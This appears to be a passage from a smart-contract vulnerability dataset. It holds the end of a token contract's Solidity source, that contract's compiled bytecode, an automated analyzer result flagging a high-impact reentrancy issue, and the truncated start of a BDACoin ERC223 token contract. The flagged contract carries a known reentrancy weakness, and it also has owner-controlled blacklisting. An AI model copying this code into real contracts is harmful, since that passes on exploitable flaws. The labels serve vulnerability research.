tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280600981526020017f42796f6b7520496e750000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f42594f4b55000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b604082019050919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb0816128f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207dd461184ac457b17d85dd4ba8b2db8ad83067d100be42cc4608b090fba7467d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,798
0xf6caa4bebd8fab8489bc4708344d9634315c4340
pragma solidity ^0.4.23; /** * @title BDACoin * @author BDACoin * @dev BDACoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * 彡(^)(^) * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title BDACoin * @author BLACK DIA COIN TEAM * @dev BDACoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract BDACoin is ERC223, Ownable { using SafeMath for uint256; string public name = "BLACK DIA COIN"; string public symbol = "BDA"; string public constant AAcontributors = "BLACK DIA COIN TEAM"; uint8 public decimals = 8; uint256 public totalSupply = 1e10 * 4e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function BDACoin() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == 